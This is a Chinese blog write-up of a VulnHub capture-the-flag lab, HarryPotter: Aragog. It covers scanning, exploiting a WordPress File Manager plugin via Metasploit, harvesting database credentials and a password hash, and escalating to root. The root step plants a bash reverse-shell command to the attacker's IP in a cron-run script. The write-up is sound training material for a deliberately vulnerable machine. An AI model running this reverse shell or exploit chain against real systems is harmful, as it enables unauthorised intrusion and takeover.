Title

vulnhub靶场之HARRYPOTTER: ARAGOG (1.0.2)

准备:

攻击机:虚拟机kali、本机win10。

靶机:HarryPotter: Aragog (1.0.2),下载地址:https://download.vulnhub.com/harrypotter/Aragog-1.0.2.ova,下载后直接vbox打开即可。

知识点:wpscan插件扫描、msf利用、敏感信息发现、shell反弹。

一:信息收集

1.nmap扫描

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.4,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.gobuster目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.4 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现/blog目录。

访问/blog目录时获得提示信息:We will be deleting some of our unused wordpress plugins in future as security best practices,告诉我们以后要删除一些插件。同时在此页面最底部告诉我么该系统是使用wordpress框架搭建的。

对/blog目录进行扫描,命令:gobuster dir -u http://172.20.10.4/blog -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现系一些目录和文件,但是并没有什么有用的信息。

3.wpscan扫描

发现框架为wordpress框架,那就使用wpscan进行扫描以下,使用wpscan扫描时默认是只扫描wordpress框架的,如果我们需要扫描wordpress插件,那我们就需要附带token值。在wpscan官网注册后,每天可以获得75各免费的token值。官网注册需要一点点方法,自己想法解决下。

使用wpscan对网站插件进行扫描,命令:wpscan --api-token=MYYTC6z2xxxxxxxxxxxxxxxxxxxxxxxxx --url=http://172.20.10.4/blog --plugins-detection aggressive,发现File Manager的漏洞信息。

二:漏洞利用

根据我们收集到的信息在msf中搜索下可以利用的方式,命令:search wordpress file manager,发现一个和file manager有关的命令执行漏洞。

选择该利用方式,命令:use 1,然后使用show options查看下需要配置的参数信息,一共三个参数:rhosts(靶机的ip)、TARGETURI(/blog)、vhost(kali的ip)。参数通过set命令设置,例如:set rhosts 172.20.10.4。

设置完参数后执行run命令,成功获得命令执行权限。

切换成shell并使用python3升级shell,命令:python3 -c 'import pty;pty.spawn("/bin/bash")'。

在/home/hagrid98目录下发现horcrux1.txt文件,读取该文件获得第一个魂器,其内容为:MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==,解密后为:1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets。

三:提权

1.敏感信息发现

在/var/www/html目录下只发现了index.html文件和harry_potter_1.jpg文件,未发现和wordpress框架有关的信息。

虽然/var/www/html目录下不存在wordpress框架的信息,但是我们知道www-data一定具有wordpress的权限,因此我们查询下www-data账户下的文件,命令:find / -user www-data -type f 2>/dev/null,发现/usr/share/wordpress目录。

进入/usr/share/wordpress目录,在该目录下发现wp-config.php文件,访问该文件发现:数据库名称:wordpress,数据库用户:wordpress和一个引用文件:etc/wordpress/config-default.php。

读取etc/wordpress/config-default.php文件,发现数据库的账户和密码信息:root/mySecr3tPass。

2.提权至hagrid98

使用获得账户和密码信息:root/mySecr3tPass连接数据库,命令:mysql -uroot -p。在数据库中发现wp_user表,查询该表的全部数据,发现hagrid98账户的密码信息:$P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc.,在解密网站进行解密获得密码:password123。

利用获得密码信息切换成hagrid98账户,但是尝试使用sudo -l和find / -perm -4000 -type f 2>/dev/null尝试收集可以进行提权的信息,但是并没有获得有效的信息。

3.提权至root

基本方法无效,那就直接上脚本:linpeas.sh,上传至/tmp目录并执行该文件,发现一个比较特殊的文件:/opt/.backup.sh。

查看该文件信息,发现该脚本执行的是一个复制过程,猜测会定时的 执行该文件,因此我们可以在该脚本中写入反弹shell。这里可以同通过pspty64工具进行验证,懒得上传了。

将反弹命令写入.backup.sh文件,内容:bash -c 'bash -i >&/dev/tcp/172.20.10.3/6688 0>&1',等待一会后成功获得root权限。

获得root权限后在/root目录发现horcrux2.txt文件,读取该文件成功获得第二个魂器。

posted @ 2023-03-09 21:57  upfine  阅读(196)  评论(0编辑  收藏  举报